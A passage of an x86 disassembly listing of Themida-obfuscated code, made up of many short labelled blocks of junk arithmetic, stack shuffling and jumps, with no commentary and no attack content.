--------------------------------------------------------------------------- loc_59A8CB: ; CODE XREF: Themida_:005A0EC6j pop ebx jmp loc_59BF9A ; --------------------------------------------------------------------------- loc_59A8D1: ; CODE XREF: Themida_:005A2A68j pop edx xor ecx, 7C65130Dh push ebx mov ebx, 553E60E0h jmp loc_5A1B29 ; --------------------------------------------------------------------------- loc_59A8E3: ; CODE XREF: Themida_:00593CA6j pop esi add ecx, 0C6A1A1BBh mov esi, ecx pop ecx add dword ptr [esp+4], 11131696h sub [esp+4], esi sub esp, 4 mov [esp], eax mov eax, 11131696h jmp loc_59DB2E ; --------------------------------------------------------------------------- loc_59A90C: ; CODE XREF: Themida_:005A51BFj pop eax push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_59A582 ; --------------------------------------------------------------------------- loc_59A924: ; CODE XREF: Themida_:00595149j push ebx mov ebx, 0 add ebx, eax mov ecx, [ebx] pop ebx jmp loc_594277 ; --------------------------------------------------------------------------- loc_59A934: ; CODE XREF: Themida_:0059FE1Ej xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_59BBC5 ; --------------------------------------------------------------------------- loc_59A945: ; CODE XREF: Themida_:00592A30j pop edx xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_598ACF ; --------------------------------------------------------------------------- loc_59A954: ; CODE XREF: Themida_:005940D1j push edi mov edi, 3E0441F3h or ebp, edi jmp loc_59655D ; --------------------------------------------------------------------------- loc_59A961: ; CODE XREF: Themida_:005A0327j xchg ebp, [esp] mov esp, [esp] mov [esp], eax mov eax, 8A48C1h shr eax, 6 or eax, 65E5894h jmp loc_59B495 ; --------------------------------------------------------------------------- loc_59A97C: ; CODE XREF: Themida_:0059690Ej sub eax, 61A04D20h add eax, ebp add eax, 61A04D20h sub eax, 150E3102h pop ebp push 1E6Bh jmp loc_597A6D ; --------------------------------------------------------------------------- loc_59A998: ; CODE XREF: Themida_:005920F3j mov [esp], ecx sub esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 mov ecx, [esp] jmp loc_591533 ; --------------------------------------------------------------------------- loc_59A9B7: ; CODE XREF: Themida_:0059A3E3j mov edx, 4 sub esp, 4 mov [esp], edx pop ecx pop edx sub ebx, ecx pop ecx xchg ebx, [esp] pop esp mov [esp], ecx push 2D553CE1h pop ecx neg ecx push edi mov edi, 0E683630h xor edi, 5A1453D0h xor edi, 32E27016h and edi, 215B6982h push ebx mov ebx, 57122776h jmp loc_59DB1D ; --------------------------------------------------------------------------- loc_59A9FC: ; CODE XREF: Themida_:00597DBFj push dword ptr [esp] pop edx push esi mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp sub al, 58h sub al, cl jmp loc_59561B ; --------------------------------------------------------------------------- loc_59AA1F: ; CODE XREF: Themida_:0059B658j push ecx mov ecx, 1D8710C2h shr ecx, 6 xor ecx, 5C136986h add ecx, 6B6E5329h not ecx jmp loc_5971EF ; --------------------------------------------------------------------------- loc_59AA3B: ; CODE XREF: Themida_:00599CB9j add ebp, esi push ecx mov ecx, 55CE6689h jmp loc_593949 ; --------------------------------------------------------------------------- loc_59AA48: ; CODE XREF: Themida_:0059C53Ej push 1253h push esp pop dword ptr [esp] push ebx mov ebx, 4 add [esp+4], ebx jmp loc_5A3C56 ; --------------------------------------------------------------------------- loc_59AA60: ; CODE XREF: Themida_:005932F1j add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] add eax, 0FFFFFFFFh sub eax, 53104BE9h dec eax push ecx push esi jmp loc_5A34A9 ; --------------------------------------------------------------------------- loc_59AA87: ; CODE XREF: Themida_:00591A51j xchg ecx, [esp] pop esp mov [esp], ebx jmp loc_5A1EBC ; --------------------------------------------------------------------------- loc_59AA93: ; CODE XREF: Themida_:00597ABDj push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop ecx xor bl, al jmp loc_599868 ; --------------------------------------------------------------------------- loc_59AAAE: ; CODE XREF: Themida_:00595ED2j push esi push ecx jmp loc_5A2045 ; --------------------------------------------------------------------------- loc_59AAB5: ; CODE XREF: Themida_:0059C493j add ch, 44h mov dl, ch pop ecx add ah, dl mov edx, [esp] add esp, 4 sub ah, 0A9h or ch, ah mov eax, [esp] jmp loc_598CAC ; --------------------------------------------------------------------------- loc_59AAD0: ; CODE XREF: Themida_:005968B0j dec bl jmp loc_5A0787 ; --------------------------------------------------------------------------- loc_59AAD7: ; CODE XREF: Themida_:00599753j xor edi, 5DD961B0h add esi, edi mov edi, [esp] add esp, 4 mov edx, esi pop esi add edx, 5A49056Fh sub edx, 163A2480h not edx push edi mov edi, 3FE92638h jmp loc_5A5152 ; --------------------------------------------------------------------------- mov ax, [esp] push 730Ah mov [esp], ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 2 push edx mov edx, 39DB6D0Fh jmp loc_599123 ; --------------------------------------------------------------------------- loc_59AB26: ; CODE XREF: Themida_:005A4FBEj neg ebx xor ebx, 0E77BE3A7h add edx, ebx pop ebx push eax mov eax, 3E9073C9h sub eax, 7F113130h push esi mov esi, 6B3A2A4Fh jmp loc_592280 ; --------------------------------------------------------------------------- loc_59AB47: ; CODE XREF: Themida_:005A1679j pop edx not edx xchg edx, ebx push 3768h mov [esp], esi mov esi, 17B26318h push edx jmp loc_592FBB ; --------------------------------------------------------------------------- loc_59AB5F: ; CODE XREF: Themida_:00596654j push dx add byte ptr [esp], 1 pop dx neg dl push ebx mov bh, 0C3h shr bh, 7 add bh, 5Eh xor dl, bh pop ebx sub ch, dl mov edx, [esp] add esp, 4 sub ch, 0F1h add al, ch pop ecx push 2738h mov [esp], edx mov dl, 0CEh push eax mov al, dl jmp loc_5A1A4D ; --------------------------------------------------------------------------- loc_59AB95: ; CODE XREF: Themida_:0059C69Bj mov ebp, 10C012BFh shr ebp, 5 or ebp, 46BF3A6Ch push edi mov edi, 0E0EB35B0h add ebp, edi pop edi mov ebx, ebp jmp loc_59F174 ; --------------------------------------------------------------------------- loc_59ABB3: ; CODE XREF: Themida_:005A1D11j pop esp push 2DADh mov [esp], ecx push esp pop ecx jmp loc_5962D3 ; --------------------------------------------------------------------------- loc_59ABC3: ; CODE XREF: Themida_:0059AEB6j and eax, 0EA05385h jmp loc_5981DE ; --------------------------------------------------------------------------- loc_59ABCD: ; CODE XREF: Themida_:00591071j inc ecx xor edx, ecx xor ecx, edx jmp loc_592C48 ; --------------------------------------------------------------------------- loc_59ABD7: ; CODE XREF: Themida_:0059DDC3j add esp, 4 add esi, 4 sub esi, 2 xchg esi, [esp] pop esp mov [esp], dx sub esp, 4 mov [esp], ecx push ebx push dx push eax mov ah, 90h xor ah, 78h dec ah inc ah neg ah sub ah, 0C9h mov dh, ah pop eax mov bl, dh pop dx jmp loc_595B9A ; --------------------------------------------------------------------------- loc_59AC0F: ; CODE XREF: Themida_:00595B00j xchg edx, [esp] inc dword ptr [esp] jmp loc_591707 ; --------------------------------------------------------------------------- loc_59AC1A: ; CODE XREF: Themida_:0059CACEj mov edx, 1F5F401Bh sub edx, 20792345h push edi push ebx push edx push 22E915F7h jmp loc_5A041D ; --------------------------------------------------------------------------- loc_59AC32: ; CODE XREF: Themida_:005A35F5j pop ebx jmp loc_59E14A ; --------------------------------------------------------------------------- loc_59AC38: ; CODE XREF: Themida_:005A50CCj push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] sub esp, 4 jmp loc_597C08 ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59AC59: ; CODE XREF: Themida_:0059C095j add esi, edx pop edx push edx jmp loc_598F27 ; --------------------------------------------------------------------------- loc_59AC62: ; CODE XREF: Themida_:005A4C29j or ch, 6Bh jmp loc_59D9ED ; --------------------------------------------------------------------------- loc_59AC6A: ; CODE XREF: Themida_:00590DDAj push ebp push 4 pop ebp add edi, ebp pop ebp xchg edi, [esp] jmp loc_5A52B0 ; --------------------------------------------------------------------------- loc_59AC7C: ; CODE XREF: Themida_:0059EED5j sub ebp, 0F11C15C3h add edi, ebp pop ebp jmp loc_5A440B ; --------------------------------------------------------------------------- loc_59AC8A: ; CODE XREF: Themida_:0059BF95j add ebx, 6DB2187Dh sub ebx, 127377D0h mov ecx, [esp] jmp loc_5A231E ; --------------------------------------------------------------------------- loc_59AC9E: ; CODE XREF: Themida_:00597E90j add ch, 86h xor ch, 34h sub ch, 1Dh push eax mov al, ch mov bh, al jmp loc_592424 ; --------------------------------------------------------------------------- loc_59ACB1: ; CODE XREF: Themida_:005902E9j add dword ptr [esp+8], 3BDD45C6h add dword ptr [esp+8], 377E65EFh sub dword ptr [esp+8], 2FD0334Ch sub [esp+8], edi add dword ptr [esp+8], 2FD0334Ch sub dword ptr [esp+8], 377E65EFh sub dword ptr [esp+8], 3BDD45C6h pop edi jmp loc_591CB5 ; --------------------------------------------------------------------------- loc_59ACEB: ; CODE XREF: Themida_:0059F275j add esi, 54573637h pop ebx jmp loc_596CB0 ; --------------------------------------------------------------------------- loc_59ACF7: ; CODE XREF: Themida_:0059C6B8j mov ebx, 282B5D85h jmp loc_597103 ; --------------------------------------------------------------------------- loc_59AD01: ; CODE XREF: Themida_:0059BBAEj xor ebx, 3B5D44C0h jmp loc_5929AD ; --------------------------------------------------------------------------- loc_59AD0C: ; CODE XREF: Themida_:005995E1j dec edx not edx shl edx, 8 jmp loc_5A24BD ; --------------------------------------------------------------------------- loc_59AD17: ; CODE XREF: Themida_:005916EBj mov [esp], ebp mov ebp, 5A0D5E0Ch mov ebx, ebp jmp loc_59505D ; --------------------------------------------------------------------------- loc_59AD26: ; CODE XREF: Themida_:005944B8j add esp, 4 shr esi, 8 dec esi add esi, 0FFFCFFDDh sub eax, 2944529Eh add eax, esi add eax, 2944529Eh mov esi, [esp] add esp, 4 push 729h mov [esp], eax push dword ptr [esp+4] jmp loc_596553 ; --------------------------------------------------------------------------- loc_59AD5C: ; CODE XREF: Themida_:0059F197j push ebx not dword ptr [esp] jmp loc_593684 ; --------------------------------------------------------------------------- loc_59AD65: ; CODE XREF: Themida_:005A4B94j mov cx, 3048h push edi push ebp mov bp, 67DBh jmp loc_5998BF ; --------------------------------------------------------------------------- loc_59AD74: ; CODE XREF: Themida_:0059E6B9j mov [esp], ebx jmp loc_59C2EA ; --------------------------------------------------------------------------- loc_59AD7C: ; CODE XREF: Themida_:0059A1BBj mov edi, 2 add ebx, edi pop edi jmp loc_5A304F ; --------------------------------------------------------------------------- loc_59AD89: ; CODE XREF: Themida_:0059D662j mov [esp], edi push edx mov edi, [esp] add esp, 4 jmp loc_59B4F4 ; --------------------------------------------------------------------------- loc_59AD98: ; CODE XREF: Themida_:0059D610j push dword ptr [esp+4] pop edx jmp loc_5A2B01 ; --------------------------------------------------------------------------- loc_59ADA2: ; CODE XREF: Themida_:00593875j add ebp, ecx pop ecx jmp loc_59A802 ; --------------------------------------------------------------------------- loc_59ADAA: ; CODE XREF: Themida_:0059759Fj pop eax jmp loc_590BC1 ; --------------------------------------------------------------------------- loc_59ADB0: ; CODE XREF: Themida_:0059CC8Cj xor edx, [esp] jmp loc_595610 ; --------------------------------------------------------------------------- loc_59ADB8: ; CODE XREF: Themida_:00593A8Aj mov edi, [esp] jmp loc_5A1574 ; --------------------------------------------------------------------------- loc_59ADC0: ; CODE XREF: Themida_:0059C174j add edx, edi add edx, 1F227267h push ecx mov cl, al jmp loc_5A0FA1 ; --------------------------------------------------------------------------- mov ax, fs:[edx] push small 1105h jmp loc_592A4A ; --------------------------------------------------------------------------- loc_59ADDD: ; CODE XREF: Themida_:0059DD59j push esi dec dword ptr [esp] pop esi shl esi, 2 xchg ebx, esi dec ebx xchg ebx, esi jmp loc_59668F ; --------------------------------------------------------------------------- loc_59ADEF: ; CODE XREF: Themida_:005947BEj add edx, edi pop edi xchg edx, [esp] mov esp, [esp] push 0 sub [esp], ebx pop ebx jmp loc_5956A8 ; --------------------------------------------------------------------------- loc_59AE06: ; CODE XREF: Themida_:005943FCj pop esp push 6718h mov [esp], ecx jmp loc_59A0BF ; --------------------------------------------------------------------------- loc_59AE14: ; CODE XREF: Themida_:005A542Fj add esp, 4 push ecx push ebx push 73E13734h pop ebx jmp loc_59F96A ; --------------------------------------------------------------------------- loc_59AE27: ; CODE XREF: Themida_:0059D0FEj xor [esp], ebx xor ebx, [esp] pop esp push edi mov edi, 5C2348FCh push eax mov eax, 6C3D999Dh add edi, eax pop eax add ecx, 23DD1644h sub ecx, edi sub ecx, 23DD1644h pop edi add ebx, ecx jmp loc_59DCEE ; --------------------------------------------------------------------------- loc_59AE53: ; CODE XREF: Themida_:005A5762j mov ah, cl dec ah jmp loc_59F3D0 ; --------------------------------------------------------------------------- loc_59AE5C: ; CODE XREF: Themida_:005A37DDj pop esp mov [esp], edi jmp loc_59F0FD ; --------------------------------------------------------------------------- loc_59AE65: ; CODE XREF: Themida_:0059559Cj pop eax dec dh add dh, 1Ch jmp loc_59CD8E ; --------------------------------------------------------------------------- loc_59AE70: ; CODE XREF: Themida_:00591E81j shr ebx, 4 jmp loc_594842 ; --------------------------------------------------------------------------- loc_59AE78: ; CODE XREF: Themida_:0059D369j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5A0776 ; --------------------------------------------------------------------------- loc_59AE8B: ; CODE XREF: Themida_:0059A701j mov ebp, 1AD93F10h jmp loc_5A2FDA ; --------------------------------------------------------------------------- loc_59AE95: ; CODE XREF: Themida_:005A420Ej xor al, dh mov edx, [esp] add esp, 4 xor bl, al movzx eax, al push dword ptr [edi+eax*4] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59AEAA: ; CODE XREF: Themida_:0059FCE8j or eax, 2520C17h sub eax, 70E01706h not eax jmp loc_59ABC3 ; --------------------------------------------------------------------------- loc_59AEBB: ; CODE XREF: Themida_:005921A9j xchg esi, [esp] jmp loc_59EA78 ; --------------------------------------------------------------------------- loc_59AEC3: ; CODE XREF: Themida_:0059A80Cj push 2913h jmp loc_59FB46 ; --------------------------------------------------------------------------- loc_59AECD: ; CODE XREF: Themida_:0059BF75j mov ebp, [esp] add esp, 4 jmp loc_59760C ; --------------------------------------------------------------------------- loc_59AED8: ; CODE XREF: Themida_:005A4903j pop dword ptr [esp] not eax xchg eax, [esp] jmp loc_59033E ; --------------------------------------------------------------------------- loc_59AEE5: ; CODE XREF: Themida_:00599A22j mov [esp], ecx push 26F5h mov [esp], esi mov esi, 43397A26h push ecx push eax push 0FBC017Ah pop eax shr eax, 7 neg eax add eax, 70C71278h push esi mov esi, 501B3B98h dec esi not esi dec esi xor esi, 2ED9393Bh add esi, 32A31741h sub eax, esi pop esi mov ecx, eax pop eax xor esi, ecx jmp loc_592175 ; --------------------------------------------------------------------------- loc_59AF2A: ; CODE XREF: Themida_:00599870j push esp pop edx push 38C3h mov [esp], edi push edx push 32A4D4Dh push dword ptr [esp] pop edx jmp loc_596817 ; --------------------------------------------------------------------------- loc_59AF43: ; CODE XREF: Themida_:00596566j pop ebp shl esi, 7 shr esi, 4 dec esi jmp loc_593A51 ; --------------------------------------------------------------------------- loc_59AF50: ; CODE XREF: Themida_:0059F115j mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_59DA43 ; --------------------------------------------------------------------------- loc_59AF61: ; CODE XREF: Themida_:00595259j sub esp, 4 mov [esp], ebx push edi mov edi, 253727F1h jmp loc_59262B ; --------------------------------------------------------------------------- loc_59AF75: ; CODE XREF: Themida_:005A2196j pop eax pop eax jmp loc_5997D3 ; --------------------------------------------------------------------------- loc_59AF7C: ; CODE XREF: Themida_:005945AEj and ebp, 7E58226Fh xor ebp, 3A6872ABh add eax, ebp pop ebp push ecx mov ecx, 928AE248h add eax, ecx pop ecx add edi, eax pop eax push edx mov edx, 7C4C48B9h sub edx, 7C4C48B7h jmp loc_592A2E ; --------------------------------------------------------------------------- loc_59AFA8: ; CODE XREF: Themida_:00597415j mov esi, 4 add eax, esi jmp loc_5A2239 ; --------------------------------------------------------------------------- loc_59AFB4: ; CODE XREF: Themida_:005A3B47j mov [esp], eax jmp loc_59EB5B ; --------------------------------------------------------------------------- loc_59AFBC: ; CODE XREF: Themida_:00596DC5j mov ebp, 57CF3AFDh xor ebp, 104A4B73h dec ebp add ebp, 74BF5DCEh or ebp, 72D37C94h jmp loc_598D97 ; --------------------------------------------------------------------------- loc_59AFD9: ; CODE XREF: Themida_:0059601Dj mov esp, [esp] add esp, 4 push 3679h mov [esp], esi jmp loc_59FF2C ; --------------------------------------------------------------------------- loc_59AFEF: ; CODE XREF: Themida_:0059F0EFj mov edx, 51E8547Fh and esi, edx pop edx jmp loc_590DC1 ; --------------------------------------------------------------------------- loc_59AFFC: ; CODE XREF: Themida_:005990BCj mov ecx, [esp] add esp, 4 push 6D2Ch mov [esp], ebx mov ebx, 4 jmp loc_59A871 ; --------------------------------------------------------------------------- loc_59B017: ; CODE XREF: Themida_:005964ECj push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp pop edi push edx mov edx, 2 sub esi, edx pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] mov [esp], cx jmp loc_5902C1 ; --------------------------------------------------------------------------- push dword ptr [esp+4] jmp loc_59ED86 ; --------------------------------------------------------------------------- loc_59B048: ; CODE XREF: Themida_:0059EC60j and ecx, 57D2229Ah add ecx, 6A63F57Ch add esi, 3D481C33h jmp loc_596BC6 ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] sub esp, 4 mov [esp], edi jmp loc_593117 ; --------------------------------------------------------------------------- loc_59B06E: ; CODE XREF: Themida_:0059F6B8j xor eax, 6CC07D27h not eax inc eax jmp loc_590D8D ; --------------------------------------------------------------------------- loc_59B07B: ; CODE XREF: Themida_:0059FA7Ej add ecx, 4 push edi push ebp mov ebp, 4CAC2A42h sub ebp, 4CAC2A3Eh jmp loc_59631D ; --------------------------------------------------------------------------- loc_59B093: ; CODE XREF: Themida_:00593D3Bj mov edx, 5E870550h inc edx shl edx, 3 shl edx, 3 xor edx, 0FE117C11h jmp loc_5944B2 ; --------------------------------------------------------------------------- loc_59B0AA: ; CODE XREF: Themida_:00593C5Cj add ebp, 4 xchg ebp, [esp] jmp loc_595212 ; --------------------------------------------------------------------------- loc_59B0B5: ; CODE XREF: Themida_:0059F077j pop eax add ebx, 2CED0700h push eax mov eax, 4AD676DEh and eax, 402C32E5h not eax inc eax shl eax, 4 or eax, 2C5D4E9Ch xor eax, 0D58EE9F9h xor ebx, eax pop eax mov edx, ebx mov ebx, [esp] jmp loc_5A3349 ; --------------------------------------------------------------------------- loc_59B0E4: ; CODE XREF: Themida_:00597EC3j inc ebx sub ebx, 0FA962D2Dh sub edx, ebx mov ebx, [esp] add esp, 4 add edx, esi push ebx mov ebx, 4C76ED5h jmp loc_596624 ; --------------------------------------------------------------------------- loc_59B100: ; CODE XREF: Themida_:0059769Cj add al, cl mov ecx, [esp] push edx push esp pop edx push ebx mov ebx, 4D26DEh xor ebx, 4E0D6A22h jmp loc_591342 ; --------------------------------------------------------------------------- loc_59B119: ; CODE XREF: Themida_:0059B534j mov edx, 324D40DDh add ebp, edx pop edx pop edx dec ebp push edx mov edx, 1B653330h add ebp, edx pop edx jmp loc_596CFC ; --------------------------------------------------------------------------- loc_59B131: ; CODE XREF: Themida_:00592D8Ej add esi, edx pop edx xchg esi, [esp] mov esp, [esp] pop ecx jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59B140: ; CODE XREF: Themida_:00594B6Aj and ebp, 5F98717Fh sub esp, 4 mov [esp], edi mov edi, 7A3E45CDh and ebp, edi mov edi, [esp] add esp, 4 add ebp, 0B7E7BEB8h add edx, ebp push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 add esp, 4 push edi sub esp, 4 mov [esp], eax mov eax, 4 mov edi, eax mov eax, [esp] add esp, 4 jmp loc_59DA69 ; --------------------------------------------------------------------------- loc_59B18A: ; CODE XREF: Themida_:0059E8DBj mov [esp], esi mov esi, esp add esi, 4 jmp loc_5A329A ; --------------------------------------------------------------------------- loc_59B19A: ; CODE XREF: Themida_:0059367Aj sub edi, 3D980118h push ecx mov ecx, 69485369h add edi, ecx mov ecx, [esp] add esp, 4 sub edi, edx sub edi, 69485369h add edi, 3D980118h pop edx mov ecx, [esp] add esp, 4 add eax, edi jmp loc_59CF26 ; --------------------------------------------------------------------------- loc_59B1CD: ; CODE XREF: Themida_:0059D804j sub ebp, 24BB5085h jmp loc_5948B8 ; --------------------------------------------------------------------------- loc_59B1D8: ; CODE XREF: Themida_:005981B4j push ecx mov ch, dh mov bl, ch pop ecx mov edx, [esp] add esp, 4 pop ecx push edx jmp loc_5A0F2F ; --------------------------------------------------------------------------- loc_59B1EE: ; CODE XREF: Themida_:0059FDB6j mov ebx, 4 sub edx, 278C2C9Ah add edx, ebx add edx, 278C2C9Ah mov ebx, [esp] jmp loc_59C4C4 ; --------------------------------------------------------------------------- loc_59B209: ; CODE XREF: Themida_:005980CEj xchg edi, [esp] pop esp jmp loc_59EAA8 ; --------------------------------------------------------------------------- loc_59B212: ; CODE XREF: Themida_:0059CEE9j push dword ptr [esp+4] jmp loc_59BDC2 ; --------------------------------------------------------------------------- loc_59B21B: ; CODE XREF: Themida_:005A09CAj sub ebx, 139709D7h push ecx mov ecx, 6F653E2Ah push ebp jmp loc_59BF85 ; --------------------------------------------------------------------------- loc_59B22D: ; CODE XREF: Themida_:0059E802j add ebx, 694505C2h jmp loc_59F3D6 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_592789 ; --------------------------------------------------------------------------- loc_59B241: ; CODE XREF: Themida_:005A4383j push eax mov eax, 10520955h push ecx mov ecx, 7F250335h dec ecx jmp loc_59D87A ; --------------------------------------------------------------------------- loc_59B253: ; CODE XREF: Themida_:005A0A66j pop edx push 63B4h mov [esp], ebx mov ebx, 6C6E09CDh push edx mov edx, 71F227E7h and ebx, edx pop edx push 7B67h mov [esp], eax push ecx mov ecx, 32C33B54h mov eax, ecx pop ecx add ebx, 425D7224h sub ebx, 46954D17h sub ebx, eax jmp loc_5978B3 ; --------------------------------------------------------------------------- loc_59B28E: ; CODE XREF: Themida_:005A0A6Cj and ecx, 4462198Ch push eax mov eax, 311A5934h jmp loc_5A00C6 ; --------------------------------------------------------------------------- loc_59B29F: ; CODE XREF: Themida_:005973B2j push eax mov eax, 4 jmp loc_595B75 ; --------------------------------------------------------------------------- loc_59B2AA: ; CODE XREF: Themida_:0059E66Bj pop edi push 6C2Ah mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_5A11EC ; --------------------------------------------------------------------------- loc_59B2C5: ; CODE XREF: Themida_:005982CFj push 1AE3h mov [esp], ebx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_5972EF ; --------------------------------------------------------------------------- loc_59B2E1: ; CODE XREF: Themida_:005978E6j push 7E7Bh mov [esp], ebp jmp loc_5943D8 ; --------------------------------------------------------------------------- loc_59B2EE: ; CODE XREF: Themida_:0059124Cj or ebp, 4FDE6A0Ch push esi mov esi, 183D05C6h and ebp, esi pop esi add ebp, 3AD76A14h sub edi, ebp pop ebp jmp loc_5988AD ; --------------------------------------------------------------------------- loc_59B30B: ; CODE XREF: Themida_:00590682j mov eax, 4AE36B24h xor [esp+4], eax pop eax pop ebx xor ebx, 4AE36B24h pop esi mov esi, ebx pop ebx push esi mov esi, 36DD7D6Ah jmp loc_5A3863 ; --------------------------------------------------------------------------- loc_59B32B: ; CODE XREF: Themida_:005A2005j xchg edx, [esp] pop esp add eax, 47096E9Bh jmp loc_5935FD ; --------------------------------------------------------------------------- loc_59B339: ; CODE XREF: Themida_:00597CEBj push ebx jmp loc_5A40E4 ; --------------------------------------------------------------------------- loc_59B33F: ; CODE XREF: Themida_:005A1EADj mov ebx, 13565B19h xor ebx, 5F2783FDh add edi, ebx pop ebx add ebp, 30E446Bh jmp loc_59C606 ; --------------------------------------------------------------------------- loc_59B358: ; CODE XREF: Themida_:00598368j sub bh, 0Eh add al, bh pop ebx jmp loc_59FFD3 ; --------------------------------------------------------------------------- loc_59B363: ; CODE XREF: Themida_:005999C2j add esi, 17C54A47h shl esi, 3 or esi, 0FC07FD3h push edx mov edx, 0F03C0011h add esi, edx jmp loc_59FA5E ; --------------------------------------------------------------------------- loc_59B37F: ; CODE XREF: Themida_:00590535j pop esp jmp loc_598261 ; --------------------------------------------------------------------------- loc_59B385: ; CODE XREF: Themida_:0059E3EFj sub esp, 4 mov [esp], eax mov eax, 62341CE2h sub ebx, 4E5B57DAh add ebx, eax add ebx, 4E5B57DAh mov eax, [esp] add esp, 4 push edx jmp loc_5907D2 ; --------------------------------------------------------------------------- loc_59B3AD: ; CODE XREF: Themida_:00596544j mov [esp], edi mov edi, 25DC1E7Ch add ebx, 61D111D0h sub ebx, 3C237068h add ebx, edi jmp loc_59F2E1 ; --------------------------------------------------------------------------- loc_59B3C8: ; CODE XREF: Themida_:005A1E7Fj push esp pop ecx sub esp, 4 mov [esp], ebp jmp loc_59A7C3 ; --------------------------------------------------------------------------- loc_59B3D8: ; CODE XREF: Themida_:00592170j mov [esp], esi sub esp, 4 push esp jmp loc_59F747 ; --------------------------------------------------------------------------- loc_59B3E7: ; CODE XREF: Themida_:0059C5BBj push 7A4Bh mov [esp], ebx push 1162h mov [esp], ebp jmp loc_5A32C6 ; --------------------------------------------------------------------------- loc_59B3FC: ; CODE XREF: Themida_:0059F870j pop ebp push ecx jmp loc_5A16B8 ; --------------------------------------------------------------------------- loc_59B403: ; CODE XREF: Themida_:00597786j xor ecx, 22D156E1h dec ecx add ecx, 22163D6Bh sub eax, ecx mov ecx, [esp] add esp, 4 sub eax, 733B4801h sub eax, ebx add eax, 733B4801h add eax, 6F7F658Bh jmp loc_59707C ; --------------------------------------------------------------------------- loc_59B42E: ; CODE XREF: Themida_:0059F002j or ecx, ebp pop ebp dec ecx add ecx, 4B86F4Bh add ecx, 0FD78A04Fh mov ebx, ecx jmp loc_5999E0 ; --------------------------------------------------------------------------- loc_59B445: ; CODE XREF: Themida_:005947DEj mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_59129F ; --------------------------------------------------------------------------- loc_59B459: ; CODE XREF: Themida_:0059ED5Aj pop esi push dword ptr [esp] pop edi add esp, 4 jmp loc_5A12D5 ; --------------------------------------------------------------------------- loc_59B466: ; CODE XREF: Themida_:00590986j push dword ptr [esp] mov esi, [esp] jmp loc_5A383C ; --------------------------------------------------------------------------- loc_59B471: ; CODE XREF: Themida_:0059D3DEj pop ebp pop ebx push edi mov edi, 4A3D440Bh add edx, edi pop edi jmp loc_59EA8E ; --------------------------------------------------------------------------- loc_59B481: ; CODE XREF: Themida_:005979C4j push esi mov esi, 61444FECh dec esi not esi xor esi, 7800E9B9h jmp loc_5A46A4 ; --------------------------------------------------------------------------- loc_59B495: ; CODE XREF: Themida_:0059A977j sub eax, 65E79B3h add edx, 229A7DBFh sub edx, eax sub esp, 4 mov [esp], ebx mov ebx, 229A7DBFh sub edx, ebx pop ebx pop eax xchg edx, [esp] pop esp mov [esp], eax jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59B4BD: ; CODE XREF: Themida_:00599326j mov esp, [esp] jmp loc_59A618 ; --------------------------------------------------------------------------- loc_59B4C5: ; CODE XREF: Themida_:00593E75j mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], edx push esp mov edx, [esp] jmp loc_59E107 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59B4E7: ; CODE XREF: Themida_:005A4A95j inc bl add bl, 0D8h add bl, 59h jmp loc_59DD5E ; --------------------------------------------------------------------------- loc_59B4F4: ; CODE XREF: Themida_:0059AD93j push dword ptr [esp] pop edx add esp, 4 jmp loc_5933D5 ; --------------------------------------------------------------------------- loc_59B500: ; CODE XREF: Themida_:0059B7DEj xor eax, ecx mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], ebp mov ebp, 35516348h sub esp, 4 mov [esp], edx mov edx, 244069A4h sub ebp, 324D40DDh sub ebp, edx push edx jmp loc_59B119 ; --------------------------------------------------------------------------- loc_59B539: ; CODE XREF: Themida_:0059D777j add esp, 4 push eax pop ebx pop eax add ebx, 6ACC6239h jmp loc_597425 ; --------------------------------------------------------------------------- loc_59B54A: ; CODE XREF: Themida_:0059A51Cj sub ch, 45h sub esp, 4 mov [esp], edx mov dl, 0D4h jmp loc_59055F ; --------------------------------------------------------------------------- loc_59B55D: ; CODE XREF: Themida_:0059B683j mov esi, 3D643C75h add esi, 56BA1858h and esi, 7095CAAh shr esi, 6 add esi, 7B3B3A82h push 3189h mov [esp], ebx mov ebx, esp add ebx, 4 push edi push eax mov eax, 61E40839h jmp loc_593FD1 ; --------------------------------------------------------------------------- loc_59B593: ; CODE XREF: Themida_:00594C92j mov esp, [esp] push small 7D30h mov [esp], bx push edi sub esp, 4 mov [esp], esi jmp loc_59E4CC ; --------------------------------------------------------------------------- loc_59B5AA: ; CODE XREF: Themida_:00599649j sub esi, edx pop edx jmp loc_596E28 ; --------------------------------------------------------------------------- loc_59B5B2: ; CODE XREF: Themida_:005999A8j neg ebp shr ebp, 5 jmp loc_59F3DF ; --------------------------------------------------------------------------- loc_59B5BC: ; CODE XREF: Themida_:005A3176j push 75D512AFh pop esi shl esi, 4 dec esi and esi, 5A2E4EACh sub esi, 0E2CE73h 